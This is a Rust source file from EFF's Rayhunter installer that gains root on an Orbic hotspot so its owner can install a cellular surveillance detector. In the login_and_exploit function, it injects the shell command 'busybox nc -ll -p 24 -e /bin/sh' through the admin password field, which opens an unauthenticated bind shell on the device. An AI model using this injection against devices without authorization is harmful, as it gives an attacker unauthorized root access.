mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-27 18:14:46 -07:00
On tplink and orbic, do not overwrite config files by default. There is a new flag `installer orbic --reset-config` that one can use to restore the old behavior. This fixes #778, a long-standing issue existent since 0.3.0. The businesslogic for config file overrides is shared to some degree. The Install trait from pinephone.rs has been moved out and renamed to DeviceConnection for that purpose, so that `install_config` can be shared across installers, which in turn can delegate to the trait for running commands and copying files. This also works towards #542. However, the pinephone and other installers have not been adapted to support --reset-config out of fear of regressions. A future refactor by somebody with ability to test on pinephone should probably also consider using the same DeviceConnection impl as orbic, if possible.
290 lines
8.4 KiB
Rust
290 lines
8.4 KiB
Rust
use std::net::SocketAddr;
|
|
use std::str::FromStr;
|
|
use std::time::Duration;
|
|
|
|
use anyhow::{Context, Result, bail};
|
|
use reqwest::Client;
|
|
use serde::Deserialize;
|
|
use tokio::time::sleep;
|
|
|
|
use crate::RAYHUNTER_DAEMON_INIT;
|
|
use crate::connection::{TelnetConnection, install_config};
|
|
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
|
use crate::output::{eprintln, print, println};
|
|
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
|
|
|
|
// Some kajeet devices have password protected telnetd on port 23, so we use port 24 just in case
|
|
const TELNET_PORT: u16 = 24;
|
|
|
|
#[derive(Deserialize, Debug)]
|
|
struct ExploitResponse {
|
|
retcode: u32,
|
|
}
|
|
|
|
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
|
let client: Client = Client::new();
|
|
|
|
// Step 1: Get login info (priKey and session cookie)
|
|
let login_info_response = client
|
|
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
|
|
.send()
|
|
.await
|
|
.context("Failed to get login info")?;
|
|
|
|
let session_cookie = login_info_response
|
|
.headers()
|
|
.get("set-cookie")
|
|
.and_then(|cookie| cookie.to_str().ok())
|
|
.context("No session cookie received")?
|
|
.split(';')
|
|
.next()
|
|
.context("Invalid cookie format")?
|
|
.to_string();
|
|
|
|
let login_info: LoginInfo = login_info_response
|
|
.json()
|
|
.await
|
|
.context("Failed to parse login info")?;
|
|
|
|
if login_info.retcode != 0 {
|
|
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
|
|
}
|
|
|
|
// Parse priKey (format: "secret x timestamp")
|
|
let mut parts = login_info.pri_key.split('x');
|
|
let secret = parts.next().context("Missing secret in priKey")?;
|
|
let timestamp = parts.next().context("Missing timestamp in priKey")?;
|
|
if parts.next().is_some() {
|
|
bail!("Invalid priKey format: {}", login_info.pri_key);
|
|
}
|
|
|
|
// Step 2: Encode credentials
|
|
let username_md5 = format!("{:x}", md5::compute(username));
|
|
let timestamp_start = std::time::SystemTime::now()
|
|
.duration_since(std::time::UNIX_EPOCH)
|
|
.unwrap()
|
|
.as_secs();
|
|
|
|
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
|
|
.context("Failed to encode password")?;
|
|
|
|
let login_request = LoginRequest {
|
|
username: username_md5,
|
|
password: encoded_password,
|
|
};
|
|
|
|
// Step 3: Perform login
|
|
let login_response = client
|
|
.post(format!("http://{}/goform/login", admin_ip))
|
|
.header("Content-Type", "application/json")
|
|
.header("Cookie", &session_cookie)
|
|
.json(&login_request)
|
|
.send()
|
|
.await
|
|
.context("Failed to send login request")?;
|
|
|
|
// Extract authenticated session cookie from login response
|
|
let authenticated_cookie = login_response
|
|
.headers()
|
|
.get("set-cookie")
|
|
.and_then(|cookie| cookie.to_str().ok())
|
|
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
|
|
.unwrap_or(session_cookie);
|
|
|
|
let login_result: LoginResponse = login_response
|
|
.json()
|
|
.await
|
|
.context("Failed to parse login response")?;
|
|
|
|
if login_result.retcode != 0 {
|
|
bail!("Login failed with retcode: {}", login_result.retcode);
|
|
}
|
|
|
|
// Step 4: Exploit using authenticated session
|
|
let response: ExploitResponse = client
|
|
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
|
.header("Content-Type", "application/json")
|
|
.header("Cookie", authenticated_cookie)
|
|
// Original Orbic lacks telnetd (kajeet has it) so we need to use netcat
|
|
.body(format!(
|
|
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
|
|
))
|
|
.send()
|
|
.await
|
|
.context("failed to start telnet")?
|
|
.json()
|
|
.await
|
|
.context("failed to start telnet")?;
|
|
|
|
if response.retcode != 0 {
|
|
bail!("unexpected response while starting telnet: {:?}", response);
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
pub async fn start_telnet(
|
|
admin_ip: &str,
|
|
admin_username: &str,
|
|
admin_password: Option<&str>,
|
|
) -> Result<()> {
|
|
let Some(admin_password) = admin_password else {
|
|
anyhow::bail!("--admin-password is required");
|
|
};
|
|
|
|
print!("Logging in and starting telnet... ");
|
|
login_and_exploit(admin_ip, admin_username, admin_password).await?;
|
|
println!("done");
|
|
|
|
Ok(())
|
|
}
|
|
|
|
pub async fn install(
|
|
admin_ip: String,
|
|
admin_username: String,
|
|
admin_password: Option<String>,
|
|
reset_config: bool,
|
|
) -> Result<()> {
|
|
let Some(admin_password) = admin_password else {
|
|
eprintln!(
|
|
"As of version 0.8.0, the orbic installer has been rewritten and now requires an --admin-password parameter."
|
|
);
|
|
eprintln!(
|
|
"Refer to the official documentation at https://efforg.github.io/rayhunter/ for how to find the right value."
|
|
);
|
|
eprintln!();
|
|
eprintln!(
|
|
"If you are following a tutorial that does not include this parameter, the tutorial is likely outdated. You can run ./installer orbic-usb to access the old installer, however we recommend against it."
|
|
);
|
|
anyhow::bail!("exiting");
|
|
};
|
|
|
|
print!("Logging in and starting telnet... ");
|
|
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
|
|
println!("done");
|
|
|
|
print!("Waiting for telnet to become available... ");
|
|
wait_for_telnet(&admin_ip).await?;
|
|
println!("done");
|
|
|
|
setup_rayhunter(&admin_ip, reset_config).await
|
|
}
|
|
|
|
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
|
|
let timeout = Duration::from_secs(60);
|
|
let start_time = std::time::Instant::now();
|
|
|
|
while telnet_send_command(addr, "true", "exit code 0", false)
|
|
.await
|
|
.is_err()
|
|
{
|
|
if start_time.elapsed() >= timeout {
|
|
bail!(
|
|
"Timeout waiting for telnet to become available after {:?}",
|
|
timeout
|
|
);
|
|
}
|
|
sleep(Duration::from_secs(1)).await;
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
async fn setup_rayhunter(admin_ip: &str, reset_config: bool) -> Result<()> {
|
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
|
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
|
|
|
// Remount filesystem as read-write to allow modifications
|
|
// This is really only necessary for the Moxee Hotspot
|
|
telnet_send_command(
|
|
addr,
|
|
"mount -o remount,rw /dev/ubi0_0 /",
|
|
"exit code 0",
|
|
false,
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
|
|
|
|
telnet_send_file(
|
|
addr,
|
|
"/data/rayhunter/rayhunter-daemon",
|
|
rayhunter_daemon_bin,
|
|
false,
|
|
)
|
|
.await?;
|
|
|
|
let mut conn = TelnetConnection::new(addr, false);
|
|
install_config(
|
|
&mut conn,
|
|
"/data/rayhunter/config.toml",
|
|
"orbic",
|
|
reset_config,
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_file(
|
|
addr,
|
|
"/etc/init.d/rayhunter_daemon",
|
|
RAYHUNTER_DAEMON_INIT.as_bytes(),
|
|
false,
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_file(
|
|
addr,
|
|
"/etc/init.d/misc-daemon",
|
|
include_bytes!("../../dist/scripts/misc-daemon"),
|
|
false,
|
|
)
|
|
.await?;
|
|
|
|
telnet_send_command(
|
|
addr,
|
|
"chmod +x /data/rayhunter/rayhunter-daemon",
|
|
"exit code 0",
|
|
false,
|
|
)
|
|
.await?;
|
|
telnet_send_command(
|
|
addr,
|
|
"chmod 755 /etc/init.d/rayhunter_daemon",
|
|
"exit code 0",
|
|
false,
|
|
)
|
|
.await?;
|
|
telnet_send_command(
|
|
addr,
|
|
"chmod 755 /etc/init.d/misc-daemon",
|
|
"exit code 0",
|
|
false,
|
|
)
|
|
.await?;
|
|
|
|
println!("Installation complete. Rebooting device...");
|
|
telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
|
|
.await
|
|
.ok();
|
|
|
|
println!(
|
|
"Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
|
|
admin_ip
|
|
);
|
|
|
|
Ok(())
|
|
}
|
|
|
|
/// Root the Orbic device and open an interactive shell
|
|
pub async fn shell(
|
|
admin_ip: &str,
|
|
admin_username: &str,
|
|
admin_password: Option<&str>,
|
|
) -> Result<()> {
|
|
start_telnet(admin_ip, admin_username, admin_password).await?;
|
|
eprintln!(
|
|
"This terminal is fairly limited. The shell prompt may not be visible, but it still accepts commands."
|
|
);
|
|
interactive_shell(admin_ip, TELNET_PORT, false).await
|
|
}
|